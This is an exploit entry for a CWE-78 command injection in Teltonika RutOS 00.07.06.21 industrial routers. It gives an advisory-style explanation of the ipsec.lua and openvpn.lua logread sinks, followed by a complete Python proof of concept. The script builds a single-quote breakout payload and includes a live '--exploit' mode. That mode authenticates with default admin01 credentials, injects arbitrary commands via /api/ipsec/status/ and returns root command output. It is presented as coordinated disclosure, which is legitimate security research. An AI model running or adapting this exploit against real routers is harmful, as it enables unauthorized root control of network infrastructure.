Title: Teltonika_RutOS 00.07.06.21 - command injection Author: 0day Rubbish Research Team Contact: disclosure@0day-rubbish.com Type: remote Platform: Hardware """ Teltonika RutOS -- ipsec.lua instances_status() logread command injection PoC ============================================================================= Advisory : https://0day-rubbish.com/blog/teltonika-rutos-ipsec-status-logread-command-injection Vendor : Teltonika Networks (Lithuania) Target : RutOS 00.07.06.21 -- RUT2XX / RUT200 industrial 4G/LTE router. RUT9XX is affected by byte-identity: its ipsec.lua is byte-identical to the RUT2 copy (md5 894c460ff3cece4ce0d5894199d8c07f, confirmed in both directions) and 177/177 shared Lua modules are byte-identical. Other RutOS branches shipping the same VuCI /api stack with the same services/ipsec.lua are expected to be affected but were not individually confirmed. Platform : MIPS32 big-endian, musl soft-float, OpenWrt-derived. Web management plane is uhttpd in front of a VuCI Lua REST API (/api, 177 modules), MIPS CGI (/cgi-bin) and ubus-over-HTTP (/ubus). Vulnerability summary (CWE-78, OS command injection, post-authentication): GET /api/ipsec/status/ Authorization: Bearer routes via paths_index.lua:265 to the "ipsec" service module. The route regex in paths_register.lua is ^/ipsec/([^/]*)/([^/]*)$, so the third path segment becomes "sid" and is URL-decoded per segment; the character class excludes only "/", so single quotes, semicolons and spaces all survive. dispatcher_common.lua:populate_endpoint copies sid into the endpoint object with no validation and sets _single = true. ipsec.lua GET_TYPE_status then calls instances_status(self, self.sid) BEFORE any existence check, and instances_status builds: "logread -e '<" .. sid .. "-" .. sid .. "_c|'" and passes it to vuci.util.exec() -- which is io.popen(cmd):read("*a"), i.e. /bin/sh -c cmd. sid is never passed through vuci.util.shellquote() (the correct helper exists at vuci/util.lua:100), so a single quote in sid closes the quoted argument and the remainder is parsed as new commands. sid is concatenated twice, so the injected command runs twice. The captured stdout is stored into the response object as ".logs", so the injected command's output is returned in the HTTP JSON ".data.logs" field. This is NOT blind RCE. Effect : arbitrary command execution as root (uhttpd runs as root with no user-drop directive), with command stdout reflected in the response. Score : CVSS 8.8 -- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Sibling sink, same root cause, documented in the same advisory: openvpn.lua:1660 -- string.format("logread -e %s", sid), no surrounding quotes at all, so a bare ";" is enough. Selectable via --sink openvpn. Verification status (stated exactly as performed): The injection was verified dynamically under QEMU MIPS user-mode emulation (qemu-mips-static, binfmt_misc MIPS big-endian) inside the extracted RutOS 00.07.06.21 rootfs, calling the REAL device vuci.util.exec against the exact constructed sink command. The marker file /tmp/rce_marker was written with "uid=0(root) gid=0(root) groups=0(root)", and the id output of the reflective payload was returned inside exec()'s value (the .logs field). An end-to-end HTTP attack against physical RUT2XX/RUT9XX hardware is NOT claimed. Modes: --verify self-contained proof of the injection and reflection mechanism (no device needed): rebuilds the sink command and runs it through /bin/sh -c --exploit attack a live device over HTTP (requires valid credentials to obtain the JWT -- this is a post-authentication vulnerability) Examples: python3 teltonika_rutos_ipsec_status_logread_rce.py --verify --cmd id python3 teltonika_rutos_ipsec_status_logread_rce.py --exploit \ --host 127.0.0.1 --port 80 --user --password --cmd id Defaults: host 127.0.0.1, port 80, command "id", sink "ipsec". Standard library only: argparse / json / os / subprocess / sys / urllib -- no third-party dependencies. All output is English (LC_ALL=C). For authorized security research and coordinated disclosure only. Do not use against systems you are not explicitly authorized to test. """ import argparse import json import os import subprocess import sys import urllib.error import urllib.parse import urllib.request ADV_PATH = "/api/ipsec/status/" SINKS = ("ipsec", "openvpn") # --------------------------------------------------------------------------- # Reproduce the exact vulnerable sink logic. # # sid = attacker-controlled 3rd URL path segment (URL-decoded per segment) # ipsec.lua : "logread -e '-_c|'" # sid x2, NO shellquote # openvpn.lua : string.format("logread -e %s", sid) # NO quotes at all # vuci.util.exec(cmd) == io.popen(cmd):read("*a") == /bin/sh -c # # With sid = ';;echo ' the ipsec template becomes # logread -e '<';;echo '-';;echo '_c|' # which /bin/sh parses as a semicolon-separated sequence: the legitimate # logread, then (running as root), then the template remainder running # again. The trailing echo re-opens a single quote so the rest of the # template stays syntactically valid. popen captures every command's stdout, and that whole capture is what # the device returns in the JSON "logs" field. # --------------------------------------------------------------------------- def build_sink_command(sid, sink_variant="ipsec"): """Return the exact shell command the vulnerable Lua sink builds.""" if sink_variant == "ipsec": # ipsec.lua instances_status: "logread -e '-_c|'" return "logread -e '<" + sid + "-" + sid + "_c|'" # openvpn.lua:1660: string.format("logread -e %s", sid), no surrounding quotes return "logread -e " + sid def make_payload_sid(cmd, sink_variant="ipsec"): """Wrap an arbitrary command into a sid value that breaks out of the vulnerable logread argument and runs as root. ipsec.lua template : logread -e '-_c|' -> sid = ';;echo ' (single-quote breakout; runs twice, once per sid copy) openvpn.lua template: logread -e (no quotes at all) -> sid = ;;echo (bare semicolon; no breakout needed) must not contain '/' -- the route regex ([^/]*) captures the sid as a single path segment, so a literal slash would be read as a separator. URL-encode it as %2F or pick a slash-free command such as 'id'.""" if "/" in cmd: raise SystemExit( "[!] command must not contain '/' (the route regex [^/]* captures " "the sid as one path segment; URL-encode any slash as %2F or pick a " "slash-free command such as 'id')." ) if sink_variant == "openvpn": return ";" + cmd + ";echo " return "';" + cmd + ";echo '" def verify_sink(cmd_to_run="id", sink_variant="ipsec"): """Self-contained proof of the injection mechanism. Constructs the exact sink command from a crafted sid (mirroring the decompiled ipsec.lua constant assembly) and executes it through /bin/sh, then shows that the attacker command's output is injected into the captured stdout -- the same stdout the device returns in the JSON 'logs' field. Privilege note: this runs with the invoking user's uid. On the device the same construction executes as root, because uhttpd carries no user-drop directive; that was confirmed against the real firmware code under QEMU MIPS, where id wrote a marker containing uid=0(root) gid=0(root).""" sid = make_payload_sid(cmd_to_run, sink_variant) sink_cmd = build_sink_command(sid, sink_variant) print("=== RutOS %s.lua command-injection self-verification ===" % sink_variant) print("crafted sid : " + sid) print("exact sink command : " + sink_cmd) print("attacker command : " + cmd_to_run) print("exec via /bin/sh -c:") # Reproduce vuci.util.exec == io.popen(cmd):read("*a") == /bin/sh -c cmd proc = subprocess.Popen( ["/bin/sh", "-c", sink_cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) out, err = proc.communicate() out_s = out.decode("utf-8", "replace") err_s = err.decode("utf-8", "replace") print("--- captured stdout (== device JSON .logs field) ---") print(out_s if out_s.strip() else "(empty)") if err_s.strip(): print("--- stderr ---") print(err_s) # Reflection = captured stdout contains real command output beyond the # fixed template artifacts. For the ipsec sink the attacker command runs # twice (sid is concatenated twice), so its output appears twice. template_artifacts = {"", "-", "_c|"} real_lines = [ln for ln in out_s.splitlines() if ln not in template_artifacts] reflected = len(real_lines) >= 1 print("=== RESULT ===") print("attacker command output reflected in stdout : " + str(reflected)) if reflected: print("[+] CONFIRMED: arbitrary command executed and reflected " "(output appears in the device JSON .logs field).") else: print("[-] not reflected (check that '" + cmd_to_run + "' produces stdout).") return reflected # --------------------------------------------------------------------------- # HTTP weaponized form against a live RutOS device. # --------------------------------------------------------------------------- def http_request(url, method="GET", headers=None, body=None, timeout=15): req = urllib.request.Request(url, data=body, method=method) if headers: for k, v in headers.items(): req.add_header(k, v) try: with urllib.request.urlopen(req, timeout=timeout) as resp: return resp.getcode(), resp.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", "replace") except urllib.error.URLError as e: # HTTPError is a URLError subclass, so this only catches connect/DNS/TLS # failures. The /api management plane is LAN-facing by default # (_httpWanAccess=0 / _httpsWanAccess=0 on uhttpd), so an unreachable # host is the normal case for an off-network run. raise SystemExit("[!] could not reach %s (%s)" % (url, e.reason)) except Exception as e: raise SystemExit("[!] request to %s failed: %s" % (url, e)) def login(base, user, pwd): """POST /api/login -> ubus("session","login",{username,password}) (standard OpenWrt PAM) -> returns a session/JWT token; falls back to /api/jwt_login. Both paths are on the unauthenticated allowlist and are sink-free -- the injection itself requires a valid token.""" body = json.dumps({"username": user, "password": pwd}).encode("utf-8") code, text = http_request( base + "/api/login", method="POST", headers={"Content-Type": "application/json"}, body=body, ) token = None try: data = json.loads(text) token = data.get("data", {}).get("ubus_rpc_session") or \ data.get("ubus_rpc_session") or data.get("token") except Exception: pass if not token: # try jwt_login code, text = http_request( base + "/api/jwt_login", method="POST", headers={"Content-Type": "application/json"}, body=body, ) try: data = json.loads(text) token = data.get("data", {}).get("token") or data.get("token") except Exception: pass if not token: raise SystemExit("[!] login failed: HTTP %d %s" % (code, text[:200])) return token def exploit(base, user, pwd, cmd, sink_variant="ipsec"): """Send GET /api/ipsec/status/ with a Bearer JWT and extract the reflected command output from the JSON 'logs' field. Note: the openvpn sink variant shares the same root cause but lives behind a different service module path; the documented HTTP chain in this advisory is the ipsec one, so live mode always drives /api/ipsec/status/.""" token = login(base, user, pwd) print("[+] obtained auth token (len=%d)" % len(token)) sid = make_payload_sid(cmd, "ipsec") encoded_sid = urllib.parse.quote(sid, safe="") url = base + ADV_PATH + encoded_sid print("[+] GET " + url) code, text = http_request( url, method="GET", headers={"Authorization": "Bearer " + token, "Accept": "application/json"}, ) print("[+] HTTP %d" % code) logs = None try: data = json.loads(text) logs = data.get("data", {}).get("logs") or data.get("logs") except Exception: pass print("=== reflected command output (response .logs) ===") print(logs if logs else text[:500]) return logs def main(): os.environ["LC_ALL"] = "C" os.environ["LANG"] = "C" p = argparse.ArgumentParser( description="Teltonika RutOS ipsec.lua instances_status() logread " "command injection (CWE-78, authenticated root RCE with " "reflected output)") p.add_argument("--verify", action="store_true", help="self-contained proof of the injection mechanism (no device needed)") p.add_argument("--exploit", action="store_true", help="attack a live device over HTTP (requires valid credentials)") p.add_argument("--sink", choices=SINKS, default="ipsec", help="which documented sink construction to mirror (default: ipsec)") p.add_argument("--host", default="127.0.0.1", help="target host or IP (default: 127.0.0.1)") p.add_argument("--port", type=int, default=80) p.add_argument("--https", action="store_true") p.add_argument("--user", default="admin01", help="a valid web-management username (firmware default is admin01, " "which is force-changed at first login)") p.add_argument("--password", default="admin01", help="the matching password") p.add_argument("--cmd", default="id", help="slash-free command to execute on the target (default: id)") args = p.parse_args() if args.exploit: scheme = "https" if args.https else "http" base = "%s://%s:%d" % (scheme, args.host, args.port) exploit(base, args.user, args.password, args.cmd, args.sink) else: ret = verify_sink(args.cmd, args.sink) sys.exit(0 if ret else 1) if __name__ == "__main__": main()